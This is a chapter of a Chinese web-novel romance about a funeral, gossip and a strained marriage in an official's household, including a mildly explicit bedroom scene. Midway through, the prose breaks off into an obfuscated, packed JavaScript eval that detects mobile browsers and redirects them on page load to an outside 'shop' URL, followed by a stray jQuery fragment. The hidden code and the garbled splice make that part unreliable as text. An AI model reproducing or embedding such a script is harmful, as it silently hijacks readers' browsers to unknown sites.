104. 至亲至疏

作品:《段姑娘每天打两份工

    周府挂丧,匾额上结着白绸,底下仆役皆麻衣如雪,初冬寒风也添乱,召来簌簌白雪。


    谁人不满目凄怆?


    里巷街坊,无人不知这是周家新妇的姐姐因病过世,但娘家人死了带回婆家入殓安葬,这事也是新鲜。


    丧事期间,奇怪的流言随之莫名其妙传出来,现在人尽皆知,信得真真的,仿佛亲眼所见,那棺材里躺着的是周大人的心上人,和周夫人果然生得极像。


    人们便猜测,是周元澈强逼着替身娘子认这病逝的女子作姐姐,给披麻戴孝入殓,真是好不侮辱人,可周夫人只是默默忍受。


    灵堂前,满目白幡随风舞动,周夫人在给姐姐烧纸,火盆里的火烧得旺,一沓纸钱投进去,顷刻间,化作飞灰。


    她哭得双目红肿,棺木前,几个禅和子念动往生经,引魂超度,希望逝者来世投生到大户人家,做人家的掌上明珠,富贵安乐一生。


    和尚们说,夫人的姐姐将转生在某某家,她只是默默听着。


    门口,罗雪衣一身素白孝衣进来,虽则并不喜欢嫂嫂这般大张旗鼓的做派,还害得兄长背黑锅,但她内心纯善,也很同情那自绝于花轿里的女子,便到灵前来上了一炷香。


    “白姑娘,愿你早登极乐,投个好人家。”


    上完香,罗姑娘悄悄瞥了眼棺内躺着的女子,只见她穿着粉紫衣衫,白绢裙,面目如生,显见得是有人仔细替她匀面抹过胭脂,才平白地透出几分艳丽之色。


    脑中不禁浮现出那双悲伤的眉眼,心口隐隐发酸。


    有人与她擦肩而过,站在棺前,打开手里的丝帕,将一个玉镯戴在瑞云手上。


    “小江,你这是?”


    罗雪衣看着一身白衣的小江,短暂的失神。


    忽明白,他与这棺中女子关系匪浅。


    陈雪游这时抹着眼泪,起身道:“她送你的,你留着当个念想也好。”


    小江握着那截伶仃的手腕,久久不语,只有那双总是含笑的眼眸云山雾罩,烟水迷离,恍若要下雨。


    “小江。”罗雪衣凝望着他,欲言又止。


    他思虑再三,终于取下镯子,包好收入怀中。


    他不想忘记。


    罗雪衣眼神一黯,掉头便走。


    过了几天,扶柩起灵,陈雪游重新择定一处风水宝地葬了姐姐。


    随着丧事办完,街头巷尾的流言蜚语亦稍减,有些好心的婶子、婆婆时而碰见周夫人出门还是会上来安慰她,“周娘子,你也别太伤心,男人啊,图不到感情就多图点钱,保重身子要紧。”


    陈雪游一一含笑谢过,尽力解释清楚,夫君待自己很好,没有苛待过自己。没什么效果,反而激起友邻们强烈的同情心,夸她能忍。


    果真是越描越黑,令人头疼。


    周元澈习惯于背黑锅,只是他有些不满让他背锅的人竟没任何安慰和表示。


    人定时分,夫妻俩宽衣就寝,他掀起被子钻进去,一把搂住她的腰,随后将她身上亵衣亵裤利落地剥个干净,迅速攻城略地般占据险要位置。


    夫人忽而扬起修长的脖颈,脚背绷紧,向后牢牢勾住他的小腿,情难自禁地低吟出声。


    “相公…”她掉过脸,唇边含着一绺青丝,欲望低迷的眼睛反而极具蛊惑力。


    周元澈用手扣住她脑后,贪婪亲吻、舔咬她的唇瓣,两人的头发很快纠结在一起,扰扰乌云,纷纷扫过胴体。


    但沉沦不过一两次,她就败兵而逃,挣脱他的禁锢,将身下凌乱的衣物拉至肩头,倒头就睡。


    他拉开衣领,不满地咬她肩膀。


    “为夫帮你背了这么多黑锅,你这般冷漠敷衍,可对得起我?”


    怀里的人嗤的笑出声,用后脚跟去轻轻踢他,“你要真馋得不行,不如去找杨姑娘,她可是风月场中调教出来的可人儿,有什么不能满足你的。”


    周元澈怫然作色,“我偏不。”


    说话间走把夫人捞进怀里揉搓,她也只好半推半就任由他折腾自己的身体,但面上笑得很勉强,只会敷衍地赞他两句。


    “嗯,好…好极了,大人的手法越发老道。”


    语气像是夸厨子揉面,弄得他也兴致缺缺,草草清理身上污痕,掩上被子睡觉。


    她也没太在意,翻身就把眼睛闭上。


    “明天阿雪去庙里烧香,你陪她一趟。”


    “嗯。”


    他是希望姑嫂俩多处处,培养培养感情,不要闹得太僵。陈雪游明白他是怎么想的,也并不讨厌这个小姑子,很爽快地答应下来。


    只是眯眼没多久,枕边人一言不发地披衣起床,打开门从卧房出去,当晚再也没回来过。


    他又在书房咀嚼了一晚上的失落。


    她近来对他太过敷衍,一个好美色的女人突然冷淡起来,还能有什么原因呢?无非是因为他不行,不是个真正的男人,给不了她想要的。


    周元澈心绪烦乱,独坐无味,随即命下人置酒菜,端进书房。


    一个人喝闷酒。


    俗话说,借酒消愁愁更愁,酒喝得再多,心里头也不痛快,仍是缺了一点什么。想要她的安慰,但自尊心作怪,终究难以启齿。


    况且,有些话问多了,谁都觉得烦。


    自己向来沉稳自持,是不愿意让人知道他内心的波涛汹涌,敏感脆弱。


    爷们,要脸。


    他竭尽全力讨她欢心,竟让她越来越肆无忌惮,全然不把自己放在眼里。


    她凭什么如此嚣张?


    “凭什么她可以理所当然享受我的付出?”


    “等明天晚上,本大人要叫她知道,什么叫做振夫纲!”


    豪言壮语,终究不过是酒后胡言,他没那个勇气,万一真惹恼了夫人,夫人生起气来,后果是很严重的。


    她若是想走,谁也拦不住。


    若是没了她,还会有谁,真的放下身段来怜悯自己一个废人。


    思及此,他心里害怕得要命,眼泪倏地掉下来,砸在手背。


    不巧,这会儿,房门吱呀发出响声,有人进来,他赶紧抹掉眼泪,整衣敛容。


    “美酒佳肴,如此快哉!以往夫人缠得紧,今日总算偷个闲出来独享这大好良夜!”


    门口那女子已莲步而至,手中丹盘轻轻搁在书案,笑语盈盈道:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196733|188618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “妾煮了碗醒酒汤,大人可要当心身子。”


    周元澈有些醉,但还分得清眼前人是谁,当下不耐烦道:“出去。”


    杨翠儿目光复杂地看着他,思考片刻,方笑着解释道:“是姐姐着我送来的,她心里可记挂着您。”


    他沉吟半晌,端起那碗解酒汤一饮而尽。


    她还是在乎我的。


    “她若真心里有我,就该亲自来哄我。”


    杨翠儿叹气道:“是呀,我也这么说,可是姐姐她说,女人家的面子也很重要,明明是大人自己非要闹别扭,她若低声下气来求您,这叫她的脸往哪儿搁?”


    周元澈不疑有他,夫人本来就是这个骄傲的性子,从来不肯让步于男人,的确是她能说出来的话。


    因此有几分恼。


    “哼。”他冷笑道:“她以为真没了她,我就没人伺候吗?本大人有的是女人伺候!”


    他愤愤起身,扶住桌案一角,摇摇晃晃,玉山将倾,杨翠儿上前搀扶他,引着到床边躺下。


    “妾身伺候大人更衣。”


    “不必了,你去把小杏儿养的狸奴借过来,本大人今晚跟猫睡便是。”


    杨翠儿怔在原地,久久没反应过来。


    什么叫跟猫睡?她还不如一只猫么?这个死太监,怎么这么难伺候!


    周元澈见她迟迟不动,不耐烦叫道:“愣着做什么,去借猫啊!”


    杨翠儿悻悻提起裙角出去。


    将及出门,床上人叫住她,“对了,那小狸奴是雄是雌可要问清楚,雌的就不要借了。”


    “……”


    翌日平明,半竿红日初生,风依旧寒冷,连这日头也恹恹的。


    陈雪游起来梳洗匀面,插戴好簪环,出来便先到书房寻夫君,一同到膳厅用早饭,可是不巧,竟在书房门口撞见杨翠儿衣衫不整地从房里出来。


    她大吃一惊。


    “姐姐…”


    “你这是,才出来?”


    杨翠儿咬着唇,眼眶含泪,明显是默认。


    “对不起姐姐,我只是来看看大人,你别误会。”


    她忍不住笑起来,“误会?”


    眼睛瞥向杨氏颈侧暧昧的红痕,“怎么弄的?”


    果然又见这欢场女子,慌忙放下头发去挡,好一个欲盖弥彰。


    “是…是蚊虫叮咬。”


    她点点头,笑容灿烂,“妹妹你入戏有点深啊,那碗醒酒汤,是没能解了你的酒是吗?”


    “我…我不明白姐姐在说什么。”


    陈雪游剥了剥指甲,接着用两根手指抬起杨翠儿尖尖的下巴,嘴角噙着笑意,慢慢近前来。


    “想做恶女,你还不够格。若是我,会在解酒汤里放点别的,这样才刺激,学会了吗?”


    看着对方脸色苍白,哑口无言,她马上松开那张满是脂粉滑腻小脸,脚步轻快地迈进书房内。


    书房里放着一张大理石黑漆缕金床,床上躺着个和衣而睡的男人,他怀里抱着一只三花小狸奴,满头青丝凌乱,侧身歪躺着。


    她挨着床边坐下,叹了口气,“好呀,家都快被人偷了,亏你还睡得着。”